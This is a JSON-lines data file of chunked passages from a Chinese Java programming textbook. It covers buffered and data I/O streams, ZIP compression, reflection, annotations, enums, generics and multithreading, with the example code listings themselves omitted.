    {"text": "15.5 带缓存的输入／输出流 缓存是I/O的一种性能优化。 缓存流为I/O流增加了内存缓存区。 有了缓存区，使得在流上执行skip()、mark()和reset()方法都成为可能。"},
    {"text": "15.5.1 BufferedInputStream与BufferedOutputStream类 BufferedInputStream类可以对所有InputStream类进行带缓存区的包装以达到性能的优化。 BufferedInputStream类有两个构造方法： BufferedInputStream(InputStream in)。 BufferedInputStream(InputStream in,int size)。"},
    {"text": "图15.11 BufferedInputStream读取文件过程 使用BufferedOutputStream输出信息和用OutputStream输出信息完全一样，只不过BufferedOutputStream有一个flush()方法用来将缓存区的数据强制输出完。 BufferedOutputStream类也有两个构造方法： BufferedOutputStream(OutputStream in)。 BufferedOutputStream(OutputStream in,int size)。"},
    {"text": "根据BufferedReader类的特点，总结出如图15.12所示的字符数据读取文件的过程。 图15.12 BufferedReader类读取文件的过程 BufferedReader类常用的方法如下。"},
    {"text": "在使用BufferedWriter类的Write()方法时，数据并没有立刻被写入输出流，而是首先进入缓存区中。 如果想立刻将缓存区中的数据写入输出流，一定要调用flush()方法。"},
    {"text": "图15.13 例15.5的运行结果 15.6 数据输入／输出流 数据输入／输出流（DataInputStream类与DataOutputStream类）允许应用程序以与机器无关的方式从底层输入流中读取基本Java数据类型。"},
    {"text": "DataInputStream类与DataOutputStream类的构造方法如下。 DataInputStream(InputStream in)：使用指定的基础InputStream创建一个DataInputStream。 DataOutputStream(OutputStream out)：创建一个新的数据输出流，将数据写入指定基础输出流。 DataOutputStream类提供了如下3种写入字符串的方法。"},
    {"text": "由于Java中的字符是Unicode编码，是双字节的，writeBytes只是将字符串中的每一个字符的低字节内容写入目标设备中； 而writeChars将字符串中的每一个字符的两个字节的内容都写到目标设备中； writeUTF将字符串按照UTF编码后的字节长度写入目标设备，然后才是每一个字节的UTF编码。"},
    {"text": "这是因为要在一个连续的字节流读取一个字符串，如果没有特殊的标记作为一个字符串的结尾，并且不知道这个字符串的长度，就无法知道读取到什么位置才是这个字符串的结束。"},
    {"text": "DataOutputStream类中只有writeUTF()方法向目标设备中写入字符串的长度，所以也能准确地读回写入字符串。 【例15.6】分别通过DataOutputStream类的writeUTF()、writeChars()和writeBytes()方法向指定的磁盘文件中写入数据，并通过DataInputStream类的readUTF()方法将写入的数据输出到控制台上。"},
    {"text": "尽管在记事本程序中看不出writeUTF()写入的字符串是“使用writeUFT()方法写入数据”，但程序通过readUTF()读回后显示在屏幕上的仍是“使用writeUFT()方法写入数据”。"},
    {"text": "图15.14 例15.6的运行结果 图15.15 word.txt文件内容 15.7 ZIP压缩输入／输出流 ZIP压缩管理文件（ZIP archive）是一种十分典型的文件压缩形式，使用它可以节省存储空间。"},
    {"text": "关于ZIP压缩的I/O实现，在Java的内置类中提供了非常好用的相关类，所以其实现方式非常简单。 本节将介绍使用java.util.zip包中的ZipOutputStream与ZipInputStream类来实现文件的压缩／解压缩。"},
    {"text": "如要从ZIP压缩管理文件内读取某个文件，要先找到对应该文件的“目录进入点”（从它可知该文件在ZIP文件内的位置），才能读取这个文件的内容。 如果要将文件内容写入ZIP文件内，必须先写入对应于该文件的“目录进入点”，并且把要写入文件内容的位置移到此进入点所指的位置，然后再写入文件内容。"},
    {"text": "ZipEntry类产生的对象，是用来代表一个ZIP压缩文件内的进入点（entry）。 ZipInputStream类用来读取ZIP压缩格式的文件，所支持的包括已压缩及未压缩的进入点（entry）。 ZipOutputStream类用来写出ZIP压缩格式的文件，而且所支持的包括已压缩及未压缩的进入点（entry）。 下面介绍利用ZipEntry、ZipInputStream和ZipOutputStream 3个Java类实现ZIP数据压缩方式的编程方法。 15.7.1 压缩文件 利用ZipOutputStream类对象，可将文件压缩为.zip文件。 ZipOutputStream类的构造方法如下： ZipOutputStream(OutputStream out); ZipOutputStream类的常用方法如表15.2所示。 表15.2 ZipOutputStream类的常用方法 下面的实例为压缩E盘的hello文件夹，在该文件夹中有hello1.txt和hello2.txt文件，并将压缩后的hello.zip文件夹保存在E盘根目录下。 【例15.7】本实例创建类MyZip，在zip()方法中实现使用ZipOutputStream类对文件进行压缩，在主方法中调用该方法。"},
    {"text": "使用ZipOutputStream类将文件写入目标ZIP文件时，必须先使用ZipOutputStream对象的putNextEntry()方法，写入个别文件的entry，将流内目前指到的位置移到该entry所指的开头位置。"},
    {"text": "执行完之后，在当前项目目录下会产生hello.zip压缩文件，将其打开后如图15.17所示。 图15.16 例15.7的运行结果 图15.17 hello.zip文件 15.7.2 解压缩ZIP文件 ZipInputStream类可读取ZIP压缩格式的文件，包括已压缩和未压缩的条目（entry）。"},
    {"text": "ZipInputStream类的构造方法如下： ZipInputStream(InputStream in) ZipInputStream类的常用方法如表15.3所示。 表15.3 ZipInputStream类的常用方法 下面的实例是将执行例15.7后生成的压缩文件hello.zip进行解压，解压后的文件存储在ZipEntry类的getName()方法获取的目录下。 【例15.8】创建类Decompressing，通过ZipInputStream类将例15.7生成的压缩文件解压到指定文件夹中。"},
    {"text": "本实例是通过ZipEntry类的getName()方法得知此文件的名称（含path），借此来决定压缩之后的目录和文件名。 使用ZipInputStream类来解压文件，必须先使用ZipInputStream类的getNextEntry()方法来取得其内的第一个ZipEntry。"},
    {"text": "Java I/O（输入／输出）机制提供了一套简单的标准化API，以方便从不同的数据源读取和写入字符或字节数据。 学习Java的I/O处理技术，必须了解Java的字节流和字符流，对其扩展的子类也应熟练掌握。"},
    {"text": "（答案位置：\\TM\\sl\\15.09） 2. 编写程序，使用字符输入、输出流读取文件，将一段文字加密后存入文件，然后再读取，并将加密前与加密后的文件输出。"},
    {"text": "（答案位置：\\TM\\sl\\15.10） 3. 编写程序，实现当用户输入姓名和密码时，将每一个姓名和密码加在文件中，如果用户输入done，就结束程序。"},
    {"text": "通过阅读本章，您可以： 学会通过反射访问构造方法的方法 学会通过反射访问成员变量的方法 学会通过反射访问方法的方法 学会定义Annotation类型的方法 学会访问Annotation信息的方法 16.1 Class类与Java反射 通过Java反射机制，可以在程序中访问已经装载到JVM中的Java对象的描述，实现访问、检测和修改描述Java对象本身信息的功能。"},
    {"text": "例如下面的代码： Class textFieldC = textField.getClass(); //textField为JTextField类的对象 利用Class类的对象textFieldC，可以访问用来返回该对象的textField对象的描述信息。"},
    {"text": "表16.1 通过反射可访问的主要描述信息 说明 在通过getFields()和getMethods()方法依次获得权限为public的成员变量和方法时，将包含从超类中继承到的成员变量和方法；"},
    {"text": "16.1.1 访问构造方法 在通过下列一组方法访问构造方法时，将返回Constructor类型的对象或数组。 每个Constructor对象代表一个构造方法，利用Constructor对象可以操纵相应的构造方法。"},
    {"text": "如果是访问指定的构造方法，需要根据该构造方法的入口参数的类型来访问。 例如，访问一个入口参数类型依次为String和int型的构造方法，通过下面两种方式均可实现。"},
    {"text": "表16.2 Constructor类的常用方法 通过java.lang.reflect.Modifier类可以解析出getModifiers()方法的返回值所表示的修饰符信息，在该类中提供了一系列用来解析的静态方法，既可以查看是否被指定的修饰符修饰，还可以以字符串的形式获得所有修饰符。"},
    {"text": "表16.3 Modifier类中的常用解析方法 例如，判断对象constructor所代表的构造方法是否被private修饰，以及以字符串形式获得该构造方法的所有修饰符的典型代码如下： 【例16.1】访问构造方法。"},
    {"text": "（实例位置：\\TM\\sl\\16.01） 首先创建一个Example_01类，在该类中声明一个String型成员变量和3个int型成员变量，并提供3个构造方法。 具体代码如下： 然后编写测试类Main_01，在该类中通过反射访问Example_01类中的所有构造方法，并将该构造方法是否允许带有可变数量的参数、入口参数类型和可能抛出的异常类型信息输出到控制台。 关键代码如下： 运行本实例，当通过反射访问构造方法Example_01()时，将输出如图16.1所示的信息； 当通过反射访问构造方法Example_01(String s, int i)时，将输出如图16.2所示的信息； 当通过反射访问构造方法Example_01(String…strings)时，将输出如图16.3所示的信息。 图16.1 访问Example_01()输出的信息 图16.2 访问Example_01(String s, int i)输出的信息 图16.3 访问Example_01(String…strings)输出的信息 16.1.2 访问成员变量 在通过下列一组方法访问成员变量时，将返回Field类型的对象或数组。"},
    {"text": "例如，访问一个名称为birthday的成员变量，访问方法如下： object. getDeclaredField(\"birthday\"); Field类中提供的常用方法如表16.4所示。 表16.4 Field类的常用方法 【例16.2】访问成员变量。"},
    {"text": "（实例位置：\\TM\\sl\\16.02） 首先创建一个Example_02类，在该类中依次声明一个int、float、boolean和String型的成员变量，并将它们设置为不同的访问权限。 具体代码如下： 然后通过反射访问Example_02类中的所有成员变量，将成员变量的名称和类型信息输出到控制台，并分别将各个成员变量在修改前后的值输出到控制台。"},
    {"text": "关键代码如下： 运行本例，在控制台将输出如图16.4所示的信息，会发现在访问权限为private的成员变量s时，需要执行setAccessible()方法，并将入口参数设为true，否则不允许访问。"},
    {"text": "例如，访问一个名称为print、入口参数类型依次为String和int型的方法，通过下面两种方式均可实现： objectClass.getDeclaredMethod(\"print\", String.class, int.class); objectClass.getDeclaredMethod(\"print\", new Class[] {String.class, int.class }); Method类中提供的常用方法如表16.5所示。"},
    {"text": "（实例位置：\\TM\\sl\\16.03） 首先创建一个Example_03类，并编写4个典型的方法。 具体代码如下： 然后通过反射访问Example_03类中的所有方法，将各个方法的名称、入口参数类型、返回值类型等信息输出到控制台，并执行部分方法。"},
    {"text": "运行本实例，将依次访问方法staticMethod()、publicMethod()、protectedMethod()和privateMethod()，输出到控制台的信息依次如图16.5、图16.6、图16.7和图16.8所示。 图16.5 访问staticMethod()方法输出的信息 图16.6 访问publicMethod()方法输出的信息 图16.7 访问protectedMethod()方法输出的信息 图16.8 访问privateMethod()方法输出的信息 16.2 使用Annotation功能 Java中提供了Annotation功能，该功能可用于类、构造方法、成员变量、方法、参数等的声明中。"},
    {"text": "16.2.1 定义Annotation类型 在定义Annotation类型时，也需要用到用来定义接口的interface关键字，但需要在interface关键字前加一个“@”符号，即定义Annotation类型的关键字为@interface，这个关键字的隐含意思是继承了java.lang.annotation.Annotation接口。"},
    {"text": "枚举类ElementType中的枚举常量用来设置@Targer，如表16.6所示。 表16.6 枚举类ElementType中的枚举常量 通过Annotation类型@Retention可以设置Annotation的有效范围。 枚举类RetentionPolicy中的枚举常量用来设置@Retention，如表16.7所示。 如果未设置@Retention，Annotation的有效范围为枚举常量CLASS表示的范围。 表16.7 枚举类RetentionPolicy中的枚举常量 【例16.4】定义并使用Annotation类型。"},
    {"text": "（实例位置：\\TM\\sl\\16.04） 首先定义一个用来注释构造方法的Annotation类型@Constructor_Annotation，有效范围为在运行时加载Annotation到JVM中。 完整代码如下： 然后定义一个用来注释字段、方法和参数的Annotation类型@Field_Method_Parameter_Annotation，有效范围为在运行时加载Annotation到JVM中。 完整代码如下： 最后编写一个Record类，在该类中运用前面定义的Annotation类型@Constructor_Annotation和@Field_Method_Parameter_Annotation对构造方法、字段、方法和参数进行注释。 完整代码如下： 16.2.2 访问Annotation信息 如果在定义Annotation类型时将@Retention设置为RetentionPolicy.RUNTIME，那么在运行程序时通过反射就可以获取到相关的Annotation信息，如获取构造方法、字段和方法的Annotation信息。 类Constructor、Field和Method均继承了AccessibleObject类，在AccessibleObject中定义了3个关于Annotation的方法，其中方法isAnnotationPresent(Class<? extends Annotation> annotationClass)用来查看是否添加了指定类型的Annotation，如果是则返回true，否则返回false； 方法getAnnotation(Class<T>annotationClass)用来获得指定类型的Annotation，如果存在则返回相应的对象，否则返回null； 方法getAnnotations()用来获得所有的Annotation，该方法将返回一个Annotation数组。 在类Constructor和Method中还定义了方法getParameterAnnotations()，用来获得为所有参数添加的Annotation，将以Annotation类型的二维数组返回，在数组中的顺序与声明的顺序相同，如果没有参数则返回一个长度为0的数组；"},
    {"text": "【例16.5】访问Annotation信息。 （实例位置：\\TM\\sl\\16.05） 本例将对16.2.1节中的例16.4进行扩展，实现在程序运行时通过反射访问Record类中的Annotation信息。"},
    {"text": "首先编写访问构造方法及其包含参数的Annotation信息的代码。 完整代码如下： 然后编写访问字段的Annotation信息的代码。 完整代码如下： 最后编写访问方法及其包含参数的Annotation信息的代码。"},
    {"text": "完整代码如下： 运行本实例，当执行第一段测试代码时，控制台将输出如图16.9所示的信息； 当执行第二段测试代码时，控制台将输出如图16.10所示的信息； 当执行最后一段测试代码时，控制台将输出如图16.11所示的信息。"},
    {"text": "图16.9 访问构造方法的Annotation信息 图16.10 访问字段的Annotation信息 图16.11 访问方法的Annotation信息 16.3 小结 通过对本章的学习，相信读者已经掌握了Java反射机制的使用方法。 利用Java反射机制，可以在程序运行时访问类的所有描述信息（经常需要访问的有类的构造方法、成员变量和方法），实现逆向控制程序的执行过程。 利用Annotation功能，可以对类、构造方法、成员变量、方法、参数等进行注释，在程序运行时通过反射可以读取这些信息，根据读取的信息也可以实现逆向控制程序的执行过程。"},
    {"text": "泛型的出现不仅可以让程序员少写一些代码，更重要的是它可以解决类型安全问题。 泛型提供了编译时的安全检查，不会因为将对象置于某个容器中而失去其类型。"},
    {"text": "通过阅读本章，您可以： 掌握枚举类型 掌握泛型 17.1 枚举类型 使用枚举类型，可以取代前面学习过的定义常量的方式，同时枚举类型还赋予程序在编译时进行检查的功能。"},
    {"text": "之后定义名称为Constants2的枚举类，将Constants接口的常量放置在该枚举类中； 最后，创建名称为Constants的类文件，在该类中通过doit()和doit2()进行不同方式的调用，然后再通过主方法进行调用，体现枚举类型定义常量的方式。"},
    {"text": "图17.1 使用枚举类型定义常量 在上述代码中，当用户调用doit()方法时，即使编译器不接受在接口中定义的常量参数，也不会报错； 但调用doit2()方法，任意传递参数，编译器就会报错，因为这个方法只接受枚举类型的常量作为其参数。"},
    {"text": "枚举类型也可以在类的内部进行定义，下面将介绍如何在类的内部进行枚举类型的定义。 【例17.3】在项目中创建ConstantsTest类，该类中以内部类的形式定义枚举类型。"},
    {"text": "17.1.2 深入了解枚举类型 1. 操作枚举类型成员的方法 枚举类型较传统定义常量的方式，除了具有参数类型检测的优势之外，还具有其他方面的优势。 用户可以将一个枚举类型看作是一个类，它继承于java.lang.Enum类，当定义一个枚举类型时，每一个枚举类型成员都可以看作是枚举类型的一个实例，这些枚举类型成员都默认被final、public、static修饰，所以当使用枚举类型成员时直接使用枚举类型名称调用枚举类型成员即可。 由于枚举类型对象继承于java.lang.Enum类，所以该类中一些操作枚举类型的方法都可以应用到枚举类型中。"},
    {"text": "表17.1 枚举类型的常用方法 （1）values() 枚举类型实例包含一个values()方法，该方法将枚举类型的成员变量实例以数组的形式返回，也可以通过该方法获取枚举类型的成员。 【例17.4】在项目中创建ShowEnum类，在该类中使用枚举类型中的values()方法获取枚举类型中的成员变量。"},
    {"text": "（2）valueOf()与compareTo() 枚举类型中静态方法valueOf()可以将普通字符串转换为枚举类型，而compareTo()方法用于比较两个枚举类型对象定义时的顺序。 【例17.5】在项目中创建EnumMethodTest类，在该类中使用枚举类型中的valueOf()与compareTo()方法。"},
    {"text": "图17.2 使用values()方法获取成员变量 图17.3 使用compareTo()方法比较成员定义的顺序 调用compareTo()方法返回的结果，正值代表方法中参数在调用该方法的枚举对象位置之前；"},
    {"text": "（3）ordinal() 枚举类型中的ordinal()方法用于获取某个枚举对象的位置索引值。 【例17.6】在项目中创建EnumIndexTest类，在该类中使用枚举类型中的ordinal()方法获取枚举类型成员的位置索引。"},
    {"text": "图17.4 获取枚举类型成员的位置索引 在例17.6中，在循环中获取每个枚举对象时，调用ordinal()方法即可相应获取该枚举类型成员的索引位置。"},
    {"text": "2. 枚举类型中的构造方法 在枚举类型中，可以添加构造方法，但是规定这个构造方法必须为private修饰符所修饰。 枚举类型定义的构造方法语法如下： 从枚举类型构造方法的语法中可以看出，无论是无参构造方法还是有参构造方法，修饰权限都为private。 定义一个有参构造方法后，需要对枚举类型成员相应地使用该构造方法，如Constants_A(\"我是枚举成员A\")和Constants_D(3)语句，相应地使用了参数为String型和参数为int型的构造方法。 然后可以在枚举类型中定义两个成员变量，在构造方法中为这两个成员变量赋值，这样就可以在枚举类型中定义该成员变量的getXXX()方法了。 下面是在枚举类型中定义构造方法的实例。 【例17.7】在项目中创建EnumIndexTest类，在该类中定义枚举类型的构造方法。"},
    {"text": "除了可以使用例17.7中所示的方式定义getDescription()方法获取枚举类型成员定义时的描述之外，还可以将这个getDescription()方法放置在接口中，使枚举类型实现该接口，然后使每个枚举类型实现接口中的方法。"},
    {"text": "【例17.8】在项目中创建d接口和枚举类型的AnyEnum类，在枚举类型AnyEnum类中实现带方法的接口，使每个枚举类型成员实现该接口中的方法。"},
    {"text": "图17.6 在每个枚举类型成员中实现接口中的方法 17.1.3 使用枚举类型的优势 枚举类型声明提供了一种用户友好的变量定义方法，枚举了某种数据类型所有可能出现的值。"},
    {"text": "在没有出现泛型之前，Java也提供了对Object的引用“任意化”操作，这种“任意化”操作就是对Object引用进行向下转型及向上转型操作，但某些强制类型转换的错误也许不会被编译器捕捉，而在运行后出现异常，可见强制类型转换存在安全隐患，所以在此提供了泛型机制。"},
    {"text": "图17.7 使基本类型向上转型为Object类型 在本实例中，Test类中定义了私有的成员变量b，它的类型为Object类型，同时为其定义了相应的setXXX()与getXXX()方法。 在类主方法中，将new Boolean(true)对象作为setB()方法的参数，由于setB()方法的参数类型为Object，这样就实现了向上转型操作。 同时在调用getB()方法时，将getB()方法返回的Object对象以相应的类型返回，这个就是向下转型操作，问题通常就会出现在这里。"},
    {"text": "因为向上转型是安全的，而如果进行向下转型操作时用错了类型，或者并没有执行该操作，就会出现异常，例如以下代码： 并不存在语法错误，所以可以被编译器接受，但在执行时会出现ClassCastException异常。"},
    {"text": "最后在主方法中可以使用Over<Boolean>形式返回一个Boolean型的对象，使用OverClass<Float>形式返回一个Float型的对象，使这两个对象分别调用setOver()方法不需要进行显式向上转型操作，setOver()方法直接接受相应类型的参数，而调用getOver()方法时，不需要进行向下转型操作，直接将getOver()方法返回的值赋予相应的类型变量即可。"},
    {"text": "从例17.10中可以看出，使用泛型定义的类在声明该类对象时可以根据不同的需求指定<T>真正的类型，而在使用类中的方法传递或返回数据类型时将不再需要进行类型转换操作，而是使用在声明泛型类对象时“< >”符号中设置的数据类型。"},
    {"text": "在例17.11中，由于over2对象在实例化时已经指定类型为Float，而最后一条语句却将该对象获取出的Float类型值赋予Integer类型，所以编译器会报错。"},
    {"text": "例如： MutiOverClass<Boolean,Float>=new MutiOverClass<Boolean,Float>(); 2. 定义泛型类时声明数组类型 定义泛型类时也可以声明数组类型，下面的实例中定义泛型时便声明了数组类型。 【例17.12】在项目中创建ArrayClass类，在该类中定义泛型类声明数组类型。"},
    {"text": "图17.8 定义泛型类时声明数组类型 本实例在定义泛型类时声明一个成员数组，数组的类型为泛型，然后在泛型类中相应设置setXXX()与getXXX()方法。"},
    {"text": "图17.9 集合类声明容器的元素 其实在例17.13中定义的泛型类MutiOverClass纯属多余，因为在Java中这些集合框架已经都被泛型化了，可以在主方法中直接使用“public Map<K,V> m=new HashMap<K,V>();”语句创建实例，然后相应调用Map接口中的put()与get()方法完成填充容器或根据键名获取集合中具体值的功能。"},
    {"text": "表17.2列举了几个常用的被泛型化的集合类。 表17.2 常用的被泛型化的集合类 下面的实例演示了这些集合的使用方式。 【例17.14】在项目中创建AnyClass类，在该类中使用泛型实例化常用集合类。"},
    {"text": "图17.10 使用泛型实例化常用集合类 17.2.4 泛型的高级用法 泛型的高级用法包括限制泛型可用类型和使用类型通配符等。 1. 限制泛型可用类型 默认可以使用任何类型来实例化一个泛型类对象，但Java中也对泛型类实例的类型作了限制。"},
    {"text": "语法如下： class 类名称<T extends anyClass> 其中，anyClass指某个接口或类。 使用泛型限制后，泛型类的类型必须实现或继承了anyClass这个接口或类。 无论anyClass是接口还是类，在进行泛型限制时都必须使用extends关键字。 【例17.15】在项目中创建LimitClass类，在该类中限制泛型类型。 在例17.15中，将泛型作了限制，设置泛型类型必须实现List接口。"},
    {"text": "图17.11 两个等价的泛型类 2. 使用类型通配符 在泛型机制中，提供了类型通配符，其主要作用是在创建一个泛型类对象时限制这个泛型类的类型实现或继承某个接口或类的子类。"},
    {"text": "要声明这样一个对象可以使用“?”通配符来表示，同时使用extends关键字来对泛型加以限制。 使用泛型类型通配符的语法如下： 泛型类名称<? extends List> a=null; 其中，<? extends List>表示类型未知，当需要使用该泛型对象时，可以单独实例化。"},
    {"text": "例如： 从上述代码中可以看出，由于对象l1是没有使用A<?>这种形式初始化出来的对象，所以它可以调用set()方法改变集合中的值，但l2与l3则是通过使用通配符的方式创建出来的，所以不能改变集合中的值。"},
    {"text": "如果在SubClass类继承ExtendClass类时保留父类的泛型类型，需要在继承时指明，如果没有指明，直接使用extends ExtendsClass语句进行继承操作，则SubClass类中的T1、T2和T3都会自动变为Object，所以在一般情况下都将父类的泛型类型保留。"},
    {"text": "泛型的类型参数只能是类类型，不可以是简单类型，如A<int>这种泛型定义就是错误的。 泛型的类型个数可以是多个。 可以使用extends关键字限制泛型的类型。 可以使用通配符限制泛型的类型。"},
    {"text": "17.3 小结 本章主要讲述了枚举类型以及泛型的用法。 虽然枚举类型与泛型的语法比较简单，但是展开后的写法比较复杂，所以初学者应该仔细揣摩，并且对这两种机制做到简单掌握。"},
    {"text": "简单地说，当程序同时完成多件事情时，就是所谓的多线程程序。 多线程应用相当广泛，使用多线程可以创建窗口程序、网络程序等。 本章将由浅入深地介绍多线程，除了介绍其概念之外，还结合实例让读者了解如何使程序具有多线程功能。 通过阅读本章，您可以： 了解线程 掌握实现线程的两种方式 理解线程的生命周期 掌握线程的操作方法 掌握线程的优先级 掌握线程同步机制 18.1 线程简介 世间万物都可以同时完成很多工作，例如，人体可以同时进行呼吸、血液循环、思考问题等活动，用户既可以使用计算机听歌，也可以使用它打印文件，而这些活动完全可以同时进行，这种思想放在Java中被称为并发，而将并发完成的每一件事情称为线程。 在Java中，并发机制非常重要，但并不是所有的程序语言都支持线程。"},
    {"text": "多线程是非常复杂的机制，比如同时阅读3本书，首先阅读第1本书第1章，然后再阅读第2本书第1章，再阅读第3本书第1章，回过头再阅读第1本书第2章，依此类推，就体现了多线程的复杂性。"},
    {"text": "系统可以分配给每个进程一段有限的使用CPU的时间（也可以称为CPU时间片），CPU在这段时间中执行某个进程，然后下一个时间片又跳至另一个进程中去执行。"},
    {"text": "图18.1表明了Windows操作系统的执行模式。 图18.1 Windows操作系统的执行模式 一个线程则是进程中的执行流程，一个进程中可以同时包括多个线程，每个线程也可以得到一小段程序的执行时间，这样一个进程就可以具有多个并发执行的线程。"},
    {"text": "18.2.1 继承Thread类 Thread类是java.lang包中的一个类，从这个类中实例化的对象代表线程，程序员启动一个新线程需要建立Thread实例。 Thread类中常用的两个构造方法如下： public Thread()：创建一个新的线程对象。 public Thread(String threadName)：创建一个名称为threadName的线程对象。 继承Thread类创建一个新的线程的语法如下： 完成线程真正功能的代码放在类的run()方法中，当一个类继承Thread类后，就可以在该类中覆盖run()方法，将实现该线程功能的代码写入run()方法中，然后同时调用Thread类中的start()方法执行线程，也就是调用run()方法。 Thread对象需要一个任务来执行，任务是指线程在启动时执行的工作，该工作的功能代码被写在run()方法中。 run()方法必须使用以下语法格式： 注意 如果start()方法调用一个已经启动的线程，系统将抛出IllegalThreadStateException异常。"},
    {"text": "通常在run()方法中使用无限循环的形式，使得线程一直运行下去，所以要指定一个跳出循环的条件，如本实例中使用变量count递减为0作为跳出循环的条件。"},
    {"text": "在main方法中，使线程执行需要调用Thread类中的start()方法，start()方法调用被覆盖的run()方法，如果不调用start()方法，线程永远都不会启动，在主方法没有调用start()方法之前，Thread对象只是一个实例，而不是一个真正的线程。 18.2.2 实现Runnable接口 到目前为止，线程都是通过扩展Thread类来创建的，如果程序员需要继承其他类（非Thread类）,而且还要使当前类实现多线程，那么可以通过Runnable接口来实现。 例如，一个扩展JFrame类的GUI程序不可能再继承Thread类，因为Java语言中不支持多继承，这时该类就需要实现Runnable接口使其具有使用线程的功能。 实现Runnable接口的语法如下： public class Thread extends Object implements Runnable 说明 有兴趣的读者可以查询API，从中可以发现，实质上Thread类实现了Runnable接口，其中的run()方法正是对Runnable接口中的run()方法的具体实现。 实现Runnable接口的程序会创建一个Thread对象，并将Runnable对象与Thread对象相关联。 Thread类中有以下两个构造方法： public Thread(Runnable target)。 public Thread(Runnable target,String name)。 这两个构造方法的参数中都存在Runnable实例，使用以上构造方法就可以将Runnable实例与Thread实例相关联。 使用Runnable接口启动新的线程的步骤如下： （1）建立Runnable对象。 （2）使用参数为Runnable对象的构造方法创建Thread实例。 （3）调用start()方法启动线程。 通过Runnable接口创建线程时程序员首先需要编写一个实现Runnable接口的类，然后实例化该类的对象，这样就建立了Runnable对象； 接下来使用相应的构造方法创建Thread实例； 最后使用该实例调用Thread类中的start()方法启动线程。 图18.3表明了实现Runnable接口创建线程的流程。"},
    {"text": "线程最引人注目的部分应该是与Swing相结合创建GUI程序，下面演示一个GUI程序，该程序实现了图标滚动的功能。 图18.3 实现Runnable接口创建线程的流程 【例18.2】在项目中创建SwingAndThread类，该类继承了JFrame类，实现图标移动的功能，其中使用了Swing与线程相结合的技术。"},
    {"text": "注意 启动一个新的线程，不是直接调用Thread子类对象的run()方法，而是调用Thread子类的start()方法，Thread类的start()方法产生一个新的线程，该线程运行Thread子类的run()方法。"},
    {"text": "18.3 线程的生命周期 线程具有生命周期，其中包含7种状态，分别为出生状态、就绪状态、运行状态、等待状态、休眠状态、阻塞状态和死亡状态。 出生状态就是线程被创建时处于的状态，在用户使用该线程实例调用start()方法之前线程都处于出生状态； 当用户调用start()方法后，线程处于就绪状态（又被称为可执行状态）； 当线程得到系统资源后就进入运行状态。 一旦线程进入可执行状态，它会在就绪与运行状态下转换，同时也有可能进入等待、休眠、阻塞或死亡状态。 当处于运行状态下的线程调用Thread类中的wait()方法时，该线程便进入等待状态，进入等待状态的线程必须调用Thread类中的notify()方法才能被唤醒，而notifyAll()方法是将所有处于等待状态下的线程唤醒； 当线程调用Thread类中的sleep()方法时，则会进入休眠状态。 如果一个线程在运行状态下发出输入／输出请求，该线程将进入阻塞状态，在其等待输入／输出结束时线程进入就绪状态，对于阻塞的线程来说，即使系统资源空闲，线程依然不能回到运行状态。 当线程的run()方法执行完毕时，线程进入死亡状态。"},
    {"text": "图18.5 线程的生命周期状态图 虽然多线程看起来像同时执行，但事实上在同一时间点上只有一个线程被执行，只是线程之间切换较快，所以才会使人产生线程是同时进行的假象。"},
    {"text": "图18.5中描述了线程的生命周期状态，下面将着重讲解使线程处于各种状态的方法。 18.4 操作线程的方法 操作线程有很多方法，这些方法可以使线程从某一种状态过渡到另一种状态。"},
    {"text": "18.4.1 线程的休眠 一种能控制线程行为的方法是调用sleep()方法，sleep()方法需要一个参数用于指定该线程休眠的时间，该时间以毫秒为单位。"},
    {"text": "sleep()方法的语法如下： 上述代码会使线程在2秒之内不会进入就绪状态。 由于sleep()方法的执行有可能抛出InterruptedException异常，所以将sleep()方法的调用放在try-catch块中。 虽然使用了sleep()方法的线程在一段时间内会醒来，但是并不能保证它醒来后进入运行状态，只能保证它进入就绪状态。"},
    {"text": "【例18.3】在项目中创建SleepMethodTest类，该类继承了JFrame类，实现在窗体中自动画线段的功能，并且为线段设置颜色，颜色是随机产生的。"},
    {"text": "图18.6 线程的休眠 在本实例中定义了getC()方法，该方法用于随机产生Color类型的对象，并且在产生线程的匿名内部类中使用getGraphics()方法获取Graphics对象，使用该对象调用setColor()方法为图形设置颜色；"},
    {"text": "18.4.2 线程的加入 如果当前某程序为多线程程序，假如存在一个线程A，现在需要插入线程B，并要求线程B先执行完毕，然后再继续执行线程A，此时可以使用Thread类中的join()方法来完成。"},
    {"text": "图18.7 使用join()方法控制进度条的滚动 在本实例中同时创建了两个线程，这两个线程分别负责进度条的滚动。 在线程A的run()方法中使线程B的对象调用join()方法，而join()方法使当前运行线程暂停，直到调用join()方法的线程执行完毕后再执行，所以线程A等待线程B执行完毕后再开始执行，即下面的进度条滚动完毕后上面的进度条才开始滚动。"},
    {"text": "18.4.3 线程的中断 以往有的时候会使用stop()方法停止线程，但当前版本的JDK早已废除了stop()方法，不建议使用stop()方法来停止一个线程的运行。"},
    {"text": "如果线程是因为使用了sleep()或wait()方法进入了就绪状态，可以使用Thread类中interrupt()方法使线程离开run()方法，同时结束线程，但程序会抛出InterruptedException异常，用户可以在处理该异常时完成线程的中断业务处理，如终止while循环。 下面的实例演示了某个线程使用interrupted()方法，同时程序抛出了InterruptedException异常，在异常处理时结束了while循环。"},
    {"text": "18.4.4 线程的礼让 Thread类中提供了一种礼让方法，使用yield()方法表示，它只是给当前正处于运行状态的线程一个提醒，告知它可以将资源礼让给其他线程，但这仅是一种暗示，没有任何一种机制保证当前线程会将资源礼让。 yield()方法使具有同样优先级的线程有进入可执行状态的机会，当当前线程放弃执行权时会再度回到就绪状态。 对于支持多任务的操作系统来说，不需要调用yield()方法，因为操作系统会为线程自动分配CPU时间片来执行。"},
    {"text": "18.5 线程的优先级 每个线程都具有各自的优先级，线程的优先级可以表明在程序中该线程的重要性，如果有很多线程处于就绪状态，系统会根据优先级来决定首先使哪个线程进入运行状态。"},
    {"text": "Thread类中包含的成员变量代表了线程的某些优先级，如Thread.MIN_PRIORITY（常数1）、Thread.MAX_PRIORITY（常数10）、Thread.NORM_PRIORITY（常数5）。 其中每个线程的优先级都在Thread.MIN_PRIORITY~Thread.MAX_PRIORITY之间，在默认情况下其优先级都是Thread.NORM_PRIORITY。"},
    {"text": "在多任务操作系统中，每个线程都会得到一小段CPU时间片运行，在时间结束时，将轮换另一个线程进入运行状态，这时系统会选择与当前线程优先级相同的线程予以运行。"},
    {"text": "处于各个优先级状态下的线程的运行顺序如图18.9所示。 图18.9 处于各个优先级状态下的线程的运行顺序 在图18.9中，优先级为5的线程A首先得到CPU时间片；"},
